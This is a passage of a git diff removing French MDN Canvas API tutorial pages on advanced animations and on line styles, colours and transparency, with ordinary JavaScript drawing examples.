+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      ctx = canvas.getContext('2d');
+
+      // Dessine l'image sur canvas
+      ctx.drawImage(document.images[i], 15, 20);
+
+      // Ajoute un cadre
+      ctx.drawImage(document.getElementById('frame'), 0, 0);
+    }
+  }
+}
+ +

{{EmbedLiveSample("Art_gallery_example", 725, 400)}}

+ +

Contrôle du comportement de la mise à l'échelle de l'image

+ +

Comme mentionné précédemment, la mise à l'échelle des images peut entraîner des objets flous ou granuleux en raison du processus de mise à l'échelle. Vous pouvez utiliser la propriété {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} du contexte de dessin pour contrôler l'utilisation des algorithmes de lissage d'image lors de la mise à l'échelle des images dans votre contexte. Par défaut, cela est vrai, ce qui signifie que les images seront lissées lors de la mise à l'échelle. Vous pouvez désactiver cette fonctionnalité comme ceci :

+ +
ctx.mozImageSmoothingEnabled = false;
+ctx.webkitImageSmoothingEnabled = false;
+ctx.msImageSmoothingEnabled = false;
+ctx.imageSmoothingEnabled = false;
+ +

{{PreviousNext("Dessin_de_texte_avec_canvas", "Tutoriel_canvas/Transformations" )}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/advanced_animations/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/advanced_animations/index.html deleted file mode 100644 index fadf515090..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/advanced_animations/index.html +++ /dev/null @@ -1,376 +0,0 @@ ---- -title: Animations avancées -slug: Web/API/Canvas_API/Tutoriel_canvas/Advanced_animations -translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations ---- -
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Animations_basiques", "Tutoriel_canvas/Pixel_manipulation_with_canvas")}}
- -
-

Dans le dernier chapitre, nous avons réalisé des animations basiques et avons appris comment faire en sorte que les éléments se déplacent. Dans cette partie, nous allons regarder de prêt le mouvement lui-même et ajouter un peu de physique afin de réaliser nos animations avancées.

-
- -

Dessinons une balle

- -

Nous allons utiliser une balle pour étudier les animations. Ainsi, Commençons par dessiner notre balle au sein du canevas.

- -
<canvas id="canvas" width="600" height="300"></canvas>
-
- -

Comme d'habitude, nous avons tout d'abord besoin de dessiner le contexte. Pour dessiner la balle, nous allons créer un objet ball contenant des propriétés et une méthode draw() afin de la placer sur le canevas.

- -
var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-
-var ball = {
-  x: 100,
-  y: 100,
-  radius: 25,
-  color: 'blue',
-  draw: function() {
-    ctx.beginPath();
-    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
-    ctx.closePath();
-    ctx.fillStyle = this.color;
-    ctx.fill();
-  }
-};
-
-ball.draw();
- -

Il n'y a rien de spécial ici, la balle est pour le moment un simple cercle qui est dessiné à l'aide de la méthode {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.

- -

Ajout de la vitesse

- -

Maintenant que nous avons une balle, nous sommes prêts à ajouter une animation simple comme nous avons pu le voir dans le dernier chapitre de ce tutoriel. Une fois encore, {{domxref("window.requestAnimationFrame()")}} nous aide à contrôler l'animation. Il est possible de déplacer la balle en ajoutant un vecteur de vitesse à la position. Pour chaque "frame", nous avons aussi {{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}} (nettoyé) les canvas pour supprimer les anciens cercles des "frames" précédents.

- -
var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-var raf;
-
-var ball = {
-  x: 100,
-  y: 100,
-  vx: 5,
-  vy: 2,
-  radius: 25,
-  color: 'blue',
-  draw: function() {
-    ctx.beginPath();
-    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
-    ctx.closePath();
-    ctx.fillStyle = this.color;
-    ctx.fill();
-  }
-};
-
-function draw() {
-  ctx.clearRect(0,0, canvas.width, canvas.height);
-  ball.draw();
-  ball.x += ball.vx;
-  ball.y += ball.vy;
-  raf = window.requestAnimationFrame(draw);
-}
-
-canvas.addEventListener('mouseover', function(e){
-  raf = window.requestAnimationFrame(draw);
-});
-
-canvas.addEventListener("mouseout",function(e){
-  window.cancelAnimationFrame(raf);
-});
-
-ball.draw();
-
- -

Limites

- -

Si aucun test de collision n'est effectué, notre balle sort hors du canevas rapidement. Nous avons ici besoin de vérifier si les positions x et y de la balle sont hors des dimensions du canevas et si c'est le cas, d'inverser la direction des vecteurs de vitesse. Pour faire cela, nous ajoutons les vérifications suivantes à la méthode draw :

- -
if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
-  ball.vy = -ball.vy;
-}
-if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
-  ball.vx = -ball.vx;
-}
- -

Première demo

- -

Voyons voir ce que cela donne. Déplacez votre souris dans le canevas pour commencer l'animation :

- - - -

{{EmbedLiveSample("Première_demo", "610", "310")}}

- -

Accélération

- -

Afin d'obtenir un mouvement plus réel, vous pouvez jouer sur la vitesse, par exemple :

- -
ball.vy *= .99;
-ball.vy += .25;
- -

Ceci ralentit la vitesse verticale à chaque rendu d'image de sorte que la balle va rebondir de moins en moins haut.

- - - -

{{EmbedLiveSample("Second_demo", "610", "310")}}

- -

Effet de traînée

- -

Jusqu'à maintenant, nous avons utilisé la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}} pour effacer les images précédentes. En la remplaçant par la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} et en utilisant un remplissage semi-transparent, on obtient un effet de traînée.

- -
ctx.fillStyle = 'rgba(255,255,255,0.3)';
-ctx.fillRect(0,0,canvas.width,canvas.height);
- - - -

{{EmbedLiveSample("Third_demo", "610", "310")}}

- -

Ajout d'un contrôle de souris

- -

Afin d'obtenir quelques contrôles sur la balle, nous pouvons faire suivre notre souris en utilisant l'événement mousemove, par exemple. L'événement click relâche la balle et la laisse rebondir à nouveau.

- - - -
var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-var raf;
-var running = false;
-
-var ball = {
-  x: 100,
-  y: 100,
-  vx: 5,
-  vy: 1,
-  radius: 25,
-  color: 'blue',
-  draw: function() {
-    ctx.beginPath();
-    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
-    ctx.closePath();
-    ctx.fillStyle = this.color;
-    ctx.fill();
-  }
-};
-
-function clear() {
-  ctx.fillStyle = 'rgba(255,255,255,0.3)';
-  ctx.fillRect(0,0,canvas.width,canvas.height);
-}
-
-function draw() {
-  clear();
-  ball.draw();
-  ball.x += ball.vx;
-  ball.y += ball.vy;
-
-  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
-    ball.vy = -ball.vy;
-  }
-  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
-    ball.vx = -ball.vx;
-  }
-
-  raf = window.requestAnimationFrame(draw);
-}
-
-canvas.addEventListener('mousemove', function(e){
-  if (!running) {
-    clear();
-    ball.x = e.clientX;
-    ball.y = e.clientY;
-    ball.draw();
-  }
-});
-
-canvas.addEventListener("click",function(e){
-  if (!running) {
-    raf = window.requestAnimationFrame(draw);
-    running = true;
-  }
-});
-
-canvas.addEventListener("mouseout",function(e){
-  window.cancelAnimationFrame(raf);
-  running = false;
-});
-
-ball.draw();
-
- -

Déplacez la balle en utilisant votre souris et relâchez-la avec un click.

- -

{{EmbedLiveSample("Ajout_d'un_contrôle_de_souris", "610", "310")}}

- -

Casse-briques

- -

Ce petit chapitre explique seulement quelques techniques pour créer des animations avancées. Il en existe bien davantage ! Que diriez-vous d'ajouter une raquette, des briques et de transformer cette démo en une partie de casse-briques ? Consultez notre zone de développement de jeux pour plus d'articles liés aux jeux.

- -

Voir aussi

- - - -

{{PreviousNext("Tutoriel_canvas/Animations_basiques", "Tutoriel_canvas/Pixel_manipulation_with_canvas")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/ajout_de_styles_et_de_couleurs/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/ajout_de_styles_et_de_couleurs/index.html deleted file mode 100644 index 15eef37006..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/ajout_de_styles_et_de_couleurs/index.html +++ /dev/null @@ -1,719 +0,0 @@ ---- -title: Ajout de styles et de couleurs -slug: Web/API/Canvas_API/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs -tags: - - Canvas - - Couleurs - - Formes géométriques - - Graphismes - - Tutorial -translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors ---- -
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Formes_géométriques", "Dessin_de_texte_avec_canvas")}}
- -
-

Dans le chapitre sur les formes géométriques, nous avons utilisé les styles de lignes et de remplissage par défaut. Ici, nous allons explorer les options de canvas à notre disposition pour rendre nos dessins un peu plus attrayants. Vous apprendrez comment ajouter des couleurs différentes, des styles de ligne, des dégradés, des motifs et des ombres à vos dessins.

-
- -

Les couleurs

- -

Jusqu'à présent, nous avons seulement vu des méthodes sur le contexte de dessin. Si nous voulons appliquer des couleurs à une forme, il y a deux propriétés importantes que nous pouvons utiliser : fillStyle et strokeStyle .

- -
-
{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}
-
Définit le style utilisé lors du remplissage de formes.
-
{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}
-
Définit le style pour les contours des formes.
-
- -

color est une chaîne représentant un CSS {{cssxref("<color>")}}, d'un objet gradient ou d'un objet motif. Nous allons examiner le gradient et la structure des objets plus tard. Par défaut, l'encadrement et la couleur de remplissage sont fixés sur noir (valeur #000000 de CSS color).

- -
-

Remarque: Lorsque vous définissez strokeStyle et fillStyle, la nouvelle valeur devient la valeur par défaut pour toutes les formes en cours d'élaboration à partir de là. Pour chaque forme que vous voulez dans une couleur différente, vous aurez besoin de réaffecter fillStyle ou strokeStyle.

-
- -

Les chaînes pour être valides, doivent être conforme à la spécification CSS {{cssxref("<color>")}}. Chacun des exemples suivants décrit la même couleur.

- -
// Les valeurs possibles de fillStyle pour "orange"
-
-ctx.fillStyle = 'orange';
-ctx.fillStyle = '#FFA500';
-ctx.fillStyle = 'rgb(255, 165, 0)';
-ctx.fillStyle = 'rgba(255, 165, 0, 1)';
- -

Un exemple fillStyle

- -

Dans cet exemple, nous utilisons une nouvelle fois deux boucles for pour dessiner une grille de rectangles, chacun dans une couleur différente. L'image résultante devrait ressembler à la capture d'écran. Il n'y a rien de spectaculaire ici. Nous utilisons les deux variables i et j pour générer une couleur RVB unique pour chaque carré, et seulement modifier les valeurs rouges et vertes. Le canal bleu a une valeur fixe. En modifiant les canaux, vous pouvez générer toutes sortes de palettes. En augmentant les étapes, vous pouvez obtenir quelque chose qui ressemble à des palettes de couleurs que Photoshop utilise.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  for (var i = 0; i < 6; i++) {
-    for (var j = 0; j < 6; j++) {
-      ctx.fillStyle = 'rgb(' + Math.floor(255 - 42.5 * i) + ',' +
-                       Math.floor(255 - 42.5 * j) + ',0)';
-      ctx.fillRect(j * 25, i * 25, 25, 25);
-    }
-  }
-}
- - - -

Le résultat ressemble à ceci:

- -

{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}

- -

Un exemple strokeStyle

- -

Cet exemple est similaire à celui ci-dessus, mais utilise strokeStyle pour changer les couleurs des contours des formes. Nous utilisons la méthode arc() pour dessiner des cercles au lieu de carrés.

- -
function draw() {
-    var ctx = document.getElementById('canvas').getContext('2d');
-    for (var i = 0; i < 6; i++) {
-      for (var j = 0; j < 6; j++) {
-        ctx.strokeStyle = 'rgb(0, ' + Math.floor(255 - 42.5 * i) + ', ' +
-                         Math.floor(255 - 42.5 * j) + ')';
-        ctx.beginPath();
-        ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
-        ctx.stroke();
-      }
-    }
-  }
- - - -

Le résultat ressemble à ceci :

- -

{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}

- -

Transparence

- -

En plus de dessiner des formes opaques sur la toile, nous pouvons également dessiner des formes semi-transparentes (ou translucides). Cela se fait soit par le réglage de globalAlpha ou en attribuant une couleur semi-transparente à strokeStyle et/ou fillStyle.

- -
-
{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}
-
Applique la valeur de transparence spécifiée à toutes les formes futures tracées sur le Canvas. La valeur doit être comprise entre 0.0 (complètement transparent) à 1.0 (complètement opaque). Cette valeur est de 1,0 (complètement opaque) par défaut.
-
- -

La propriété globalAlpha peut être utile si vous voulez dessiner un grand nombre de formes sur la toile avec la même transparence, mais sinon, il est généralement plus utile de définir la transparence sur les formes individuelles lors de la définition de leurs couleurs.

- -

Parce que strokeStyle et fillStyle acceptent les valeurs de couleur rvba CSS, nous pouvons utiliser la notation suivante pour attribuer une couleur transparente.

- -
//Affecter des couleurs transparentes pour dessiner et remplir le style
-
-ctx.strokeStyle = "rgba(255, 0, 0, .5)";
-ctx.fillStyle = "rgba(255, 0, 0, .5)";
-
- -

La fonction rgba() (rvba) est similaire à la fonction rgb() (rvb) mais il a un paramètre supplémentaire. Le dernier paramètre définit la valeur de la transparence de cette couleur particulière. La plage valide est entre 0,0 (totalement transparent) et 1,0 (totalement opaque).

- -

Un exemple globalAlpha

- -

Dans cet exemple, nous allons dessiner un fond de quatre carrés de couleurs différentes. En plus de ceux-ci, nous allons dessiner un ensemble de cercles semi-transparents. globalAlpha est réglé à 0.2 et sera utilisé pour toutes les formes. Chaque étape de boucle for dessine un ensemble de cercles avec un rayon croissant. Le résultat final est un gradient radial. En superposant toujours plus de cercles, les uns au-dessus des autres, nous réduisons efficacement la transparence des cercles qui ont déjà été établis. En augmentant le pas et le nombre de cercles, l'arrière-plan devrait complètement disparaître du centre de l'image.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  // draw background
-  ctx.fillStyle = '#FD0';
-  ctx.fillRect(0, 0, 75, 75);
-  ctx.fillStyle = '#6C0';
-  ctx.fillRect(75, 0, 75, 75);
-  ctx.fillStyle = '#09F';
-  ctx.fillRect(0, 75, 75, 75);
-  ctx.fillStyle = '#F30';
-  ctx.fillRect(75, 75, 75, 75);
-  ctx.fillStyle = '#FFF';
-
-  // règle la valeur de transparence
-  ctx.globalAlpha = 0.2;
-
-  // Dessine des cercles semi-transparents
-  for (i = 0; i < 7; i++) {
-    ctx.beginPath();
-    ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
-    ctx.fill();
-  }
-}
- - - -

{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}

- -

Un exemple en utilisant rgba()

- -

Dans ce deuxième exemple, nous faisons quelque chose de similaire, mais au lieu de dessiner des cercles, nous dessinons de petits rectangles à l'opacité croissante. L'utilisation de rgba() nous donne un peu plus de contrôle et de flexibilité.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // Dessine le fond
-  ctx.fillStyle = 'rgb(255, 221, 0)';
-  ctx.fillRect(0, 0, 150, 37.5);
-  ctx.fillStyle = 'rgb(102, 204, 0)';
-  ctx.fillRect(0, 37.5, 150, 37.5);
-  ctx.fillStyle = 'rgb(0, 153, 255)';
-  ctx.fillRect(0, 75, 150, 37.5);
-  ctx.fillStyle = 'rgb(255, 51, 0)';
-  ctx.fillRect(0, 112.5, 150, 37.5);
-
-  // Dessine des rectangles semi-transparents
-  for (var i = 0; i < 10; i++) {
-    ctx.fillStyle = 'rgba(255, 255, 255, ' + (i + 1) / 10 + ')';
-    for (var j = 0; j < 4; j++) {
-      ctx.fillRect(5 + i * 14, 5 + j * 37.5, 14, 27.5);
-    }
-  }
-}
- - - -

{{EmbedLiveSample("An_example_using_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}

- -

Le style des lignes

- -

Il y a plusieurs propriétés qui nous permettent de modifier le style des lignes.

- -
-
{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}
-
Définit la largeur des lignes qui serons tracées.
-
{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}
-
Définit l'apparence des extrémités des lignes.
-
{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}
-
Définit l'apparence des «coins» où les lignes se rencontrent.
-
{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}
-
Établit une limite lorsque deux lignes se rejoignent en un angle aigu, pour permettre de contrôler l'épaisseur de la jonction.
-
{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}
-
Retourne le tableau du modele courant de ligne contenant un nombre pair de nombres positifs.
-
{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}
-
Définit le modele de ligne.
-
{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}
-
Indique où commencer un modele sur une ligne.
-
- -

Vous aurez une meilleure compréhension de ce qu'ils font en regardant les exemples ci-dessous.

- -

Un exemple lineWidth

- -

Cette propriété définit l'épaisseur de la ligne actuelle. Les valeurs doivent être des nombres positifs. Par défaut, cette valeur est définie à 1,0.

- -

La largeur de ligne est l'épaisseur centrée sur le tracé. En d'autres termes, la zone qui est dessinée s'étend de part et d'autre du tracé. Parce que les coordonnées ne font pas référence directement aux pixels, une attention particulière doit être prise pour obtenir des lignes horizontales et verticales nettes.

- -

Dans l'exemple ci-dessous, 10 lignes droites sont dessinées avec des largeurs croissantes. La ligne à l'extrême gauche a 1,0 unités de large. Cependant, celle ci et toutes les lignes d'épaisseur impair ne semblent pas nettes, en raison du positionnement du tracé.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  for (var i = 0; i < 10; i++) {
-    ctx.lineWidth = 1 + i;
-    ctx.beginPath();
-    ctx.moveTo(5 + i * 14, 5);
-    ctx.lineTo(5 + i * 14, 140);
-    ctx.stroke();
-  }
-}
- - - -

{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}

- -

Pour l'obtention de lignes nettes, il faut comprendre comment les lignes sont tracées. Ci-dessous, la grille représente la grille de coordonnées. Les carrés sont des pixels réels de l'écran. Dans la première grille, un rectangle (2,1) à (5,5) est rempli. La zone entière couverte par les lignes (rouge clair) tombe sur les limites des pixels, de sorte que le rectangle rempli résultant aura des bords nets.

- -

- -

Si vous considérez un tracé de (3,1) à (3,5) avec une épaisseur de ligne de 1.0, vous vous retrouvez dans la situation de la deuxième grille. La surface réelle à remplir (bleu foncé) se prolonge seulement à moitié sur les pixels de part et d'autre du chemin. Une approximation de ceci doit être rendue, ce qui signifie que ces pixels sont partiellement ombrés, et le résultat est que toute la zone (le bleu clair et bleu foncé) est remplie avec une couleur moitié moins sombre que la couleur du tracé attendu. C'est ce qui arrive avec la largeur de 1.0 dans l'exemple précédent.

- -

Pour résoudre ce problème, vous devez être très précis dans la création de votre tracé. Sachant qu'une largeur de 1.0 s'étendra d'une demi-unité de chaque côté du tracé, créer le tracé de (3.5,1) à (3.5,5) aboutit à l'exemple trois pour une largeur de 1.0 et au remplissage d'un seul pixel de ligne verticale.

- -
-

Note: Sachez que dans notre exemple de ligne verticale, la position Y fait toujours référence à une position de grille entière — sinon, vous verrez des pixels à moitié colorés à gauche et à droite (mais notez aussi que ce comportement dépend de l'actuel style lineCap, dont la valeur par défaut est butt. Vous pouvez essayer de tracer des traits consistants avec des coordonnées non-entières pour les lignes et avec une largeur particulière, en définissant le style lineCap à square, pour que le bord extérieur du trait autour du point final soit automatiquement étendu pour couvrir le pixel entier).

- -

Notez également que seuls les points de début et de fin d'un chemin sont affectés : si un chemin est fermé avec closePath (), il n'y a pas de point de départ ni de point final ; à la place, tous les points d'extrémité du chemin sont connectés à leurs segments joints précédent et suivant, en utilisant le paramètre courant du style lineJoin, dont la valeur par défaut est miter, avec pour effet d'étendre automatiquement les bordures extérieures des segments connectés à leur point d'intersection. Ainsi, le trait de rendu couvrira exactement les pixels pleins centrés à chaque extrémité si ces segments connectés sont horizontaux et / ou verticaux. Voir les deux sections suivantes pour les démonstrations de ces styles de lignes supplémentaires.

-
- -

Pour les lignes de largeur paire, chaque moitié finit par être un nombre entier de pixels, vous voulez donc un chemin entre les pixels (c'est-à-dire (3,1) à (3,5)), au lieu de descendre au milieu des pixels .

- -

Bien que légèrement ennuyeux quand on travaille avec des graphismes 2D évolutifs, en accordant une attention à la grille de pixels et à la position des tracés, vous vous assurez du comportement correct de vos dessins, et ce, indépendamment de la mise à l'échelle ou d'autres transformations. Une ligne verticale de largeur 1,0 à la bonne position deviendra une ligne de 2 pixels nette à l'échelle 2.

- -

Un exemple de lineCap

- -

La propriété lineCap détermine comment les extrêmités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour la propriété : butt, round et square. Par défaut, la propriété est définie à butt.

- -

- -
-
butt (bout)
-
L'extrémité des lignes est en angle droit.
-
round (rond)
-
Les extrémités sont arrondies.
-
square (carré)
-
Les extrémités sont en angle droit en ajoutant une extension d'une largeur égale à la ligne et une hauteur égale à la moitié de la largeur de la ligne.
-
- -

Dans cet exemple, nous avons tracé trois lignes, chacune avec une valeur différente pour la propriété lineCap. Nous avons par ailleurs ajouté deux guides pour voir exactement les différences entre les trois lignes. Chacune de ces trois lignes est identique entre les deux traits bleus.

- -

La ligne de gauche utilise l'option par défaut butt. Vous pourrez noter qu'elle est entièrement dessinée entre les deux guides. La deuxième utilise l'option round. Elle ajoute un demi-cercle à chaque extrémité d'un rayon valant la moitié de la largeur de la ligne. La ligne de droite utilise l'option square. Elle ajoute une extension avec une largeur égale à la ligne et une hauteur équivalante à la moitié de la largeur de la ligne.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  var lineCap = ['butt', 'round', 'square'];
-
-  // Dessiner des guides
-  ctx.strokeStyle = '#09f';
-  ctx.beginPath();
-  ctx.moveTo(10, 10);
-  ctx.lineTo(140, 10);
-  ctx.moveTo(10, 140);
-  ctx.lineTo(140, 140);
-  ctx.stroke();
-
-  // Dessiner des lignes
-  ctx.strokeStyle = 'black';
-  for (var i = 0; i < lineCap.length; i++) {
-    ctx.lineWidth = 15;
-    ctx.lineCap = lineCap[i];
-    ctx.beginPath();
-    ctx.moveTo(25 + i * 50, 10);
-    ctx.lineTo(25 + i * 50, 140);
-    ctx.stroke();
-  }
-}
- - - -

{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}

- -

Un exemple de lineJoin

- -

La propriété lineJoin détermine comment deux segments (lignes, arcs ou courbes), de largeur non nulle se connectant dans une forme, sont joints ensemble (les segments de longueur nulle, dont les coordonnées de départ et de fin sont exactement les mêmes, sont ignorés).

- -

Il existe trois valeurs possibles pour cette propriété : round, bevel et miter. Par défaut, cette propriété est définie à miter. Notez que le paramètre lineJoin n'a pas d'effet si les deux segments connectés ont la même direction, parce qu'aucune zone de jointure ne sera ajoutée dans ce cas.

- -

- -
-
round (rond)
-
Arrondit les angles des segments en ajoutant un arc de cercle centré à l'extrémité commune des segments connectés. Le rayon de ces angles arrondis est égal à la moitié de la largeur du trait.
-
bevel (biseau)
-
Ajoute un triangle à l'extrémité commune des segments connectés.
-
miter (onglet)
-
Les segments connectés sont reliés en prolongeant leurs bords extérieurs pour se connecter en un seul point, avec pour effet de remplir une zone supplémentaire en forme de losange. Ce paramètre est effectué par la propriété miterLimit qui est expliquée ci-dessous.
-
- -

L'exemple ci-dessous dessine trois chemins différents, démontrant chacun de ces trois paramètres de propriété lineJoin ; la sortie est montrée ci-dessus.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  var lineJoin = ['round', 'bevel', 'miter'];
-  ctx.lineWidth = 10;
-  for (var i = 0; i < lineJoin.length; i++) {
-    ctx.lineJoin = lineJoin[i];
-    ctx.beginPath();
-    ctx.moveTo(-5, 5 + i * 40);
-    ctx.lineTo(35, 45 + i * 40);
-    ctx.lineTo(75, 5 + i * 40);
-    ctx.lineTo(115, 45 + i * 40);
-    ctx.lineTo(155, 5 + i * 40);
-    ctx.stroke();
-  }
-}
- - - -

{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}

- -

Une démonstration de la propriété miterLimit

- -

Comme vous l'avez vu dans l'exemple précédent, lorsque vous joignez deux lignes avec l'option d'onglet, les bords extérieurs des deux lignes d'assemblage sont étendus jusqu'au point où ils se rencontrent. Pour les lignes qui sont à grands angles les unes avec les autres, ce point n'est pas loin du point de connexion interne. Cependant, lorsque les angles entre chaque ligne diminuent, la distance entre ces points augmente exponentiellement.

- -

La propriété miterLimit détermine dans quelle mesure le point de connexion externe peut être placé à partir du point de connexion interne. Si deux lignes dépassent cette valeur, une jointure biseau est dessinée à la place. Notez que la longueur ajoutée maximale est le produit de la largeur de ligne mesurée dans le système de coordonnées actuel, par la valeur de cette propriété miterLimit (dont la valeur par défaut est 10.0 dans le HTML {{HTMLElement("canvas")}}). miterLimit peut être défini indépendamment de l'échelle d'affichage actuelle ou de toutes les transformations affinées de chemins : il n'influence que la forme des bords de lignes effectivement rendues.

- -

Plus précisément, la limite d'onglet est le rapport maximal autorisé de la longueur d'extension (dans le canvas HTML, il est mesuré entre le coin extérieur des bords joints de la ligne et le point d'extrémité commun des segments de connexion spécifiés dans le chemin) à la moitié de la largeur de la ligne. Il peut être défini, de manière équivalente, comme le rapport maximum autorisé de la distance entre les points de jonction intérieur et extérieur des bords et la largeur totale de la ligne. Il est alors égal à la cosécante de la moitié de l'angle interne minimum des segments de connexion, en-dessous de laquelle aucune jointure d'onglet ne sera rendue, mais seulement une jointure en biseau :

- -
    -
  • miterLimit = max miterLength / lineWidth = 1 / sin ( min θ / 2 )
    • -
  • La limite d'onglet par défaut de 10.0 supprimera tous les onglets pour les angles vifs inférieurs à environ 11 degrés.
    • -
  • Une limite d'onglet égale à √2 ≈ 1.4142136 (arrondie au-dessus) enlèvera les onglets pour tous les angles aigus, en conservant les joints d'onglet seulement pour les angles obtus ou droits.
    • -
  • Une limite d'onglet égale à 1.0 est valide mais désactivera tous les onglets.
    • -
  • Les valeurs inférieures à 1.0 sont invalides pour la limite d'onglet.
    • -
- -

Voici une petite démo dans laquelle vous pouvez définir dynamiquement miterLimit et voir comment cela affecte les formes sur le canevas. Les lignes bleues indiquent où se trouvent les points de départ et d'arrivée de chacune des lignes du motif en zig-zag.

- -

Si vous spécifiez une valeur miterLimit inférieure à 4.2 dans cette démo, aucun des coins visibles ne se joindra avec une extension onglet, mais seulement avec un petit biseau près des lignes bleues ; avec une limite à onglets au-dessus de 10, la plupart des coins de cette démo devraient se combiner avec un onglet loin des lignes bleues et dont la hauteur diminue entre les coins de gauche à droite, car ils se connectent avec des angles croissants ; avec des valeurs intermédiaires, les coins du côté gauche ne rejoignent qu'un biseau près des lignes bleues et les coins du côté droit avec une extension à onglets (également avec une hauteur décroissante).

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // Éffacer canvas
-  ctx.clearRect(0, 0, 150, 150);
-
-  // Dessiner des guides
-  ctx.strokeStyle = '#09f';
-  ctx.lineWidth   = 2;
-  ctx.strokeRect(-5, 50, 160, 50);
-
-  // Définir les styles de lignes
-  ctx.strokeStyle = '#000';
-  ctx.lineWidth = 10;
-
-  // Vérifier l'entrée (input)
-  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
-    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
-  } else {
-    alert('Value must be a positive number');
-  }
-
-  // Dessiner des lignes
-  ctx.beginPath();
-  ctx.moveTo(0, 100);
-  for (i = 0; i < 24 ; i++) {
-    var dy = i % 2 == 0 ? 25 : -25;
-    ctx.lineTo(Math.pow(i, 1.5) * 2, 75 + dy);
-  }
-  ctx.stroke();
-  return false;
-}
- - - -

{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}

- -

Utilisation de lignes pointillées

- -

setLineDash et lineDashOffset précisent le modèle de lignes. setLineDash accepte une liste de nombres qui spécifie les distances pour dessiner alternativement une ligne et un espace et lineDashOffset définit un décalage pour commencer le motif.

- -

Dans cet exemple, nous créons un effet de fourmis en marche. C'est une technique d'animation souvent employée dans les sélections d'outils des programmes graphiques. Cet effet permet à l'utilisateur de distinguer la frontière de l'image de fond de la sélection en animant la frontière. Dans une partie de ce tutoriel, vous pouvez apprendre comment faire cela et d'autres animations de base animation basiques..

- - - -
var ctx = document.getElementById('canvas').getContext('2d');
-var offset = 0;
-
-function draw() {
-  ctx.clearRect(0, 0, canvas.width, canvas.height);
-  ctx.setLineDash([4, 2]);
-  ctx.lineDashOffset = -offset;
-  ctx.strokeRect(10, 10, 100, 100);
-}
-
-function march() {
-  offset++;
-  if (offset > 16) {
-    offset = 0;
-  }
-  draw();
-  setTimeout(march, 20);
-}
-
-march();
- -

{{EmbedLiveSample("Using_line_dashes", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}

- -

Dégradés

- -

Comme n'importe quel programme de dessin normal, nous pouvons remplir et découper des formes à l'aide de dégradés linéaires et radiaux. Nous créons un objet {{domxref ("CanvasGradient")}} en utilisant l'une des méthodes suivantes. Nous pouvons ensuite affecter cet objet aux propriétés fillStyle ou strokeStyle.

- -
-
{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}
-
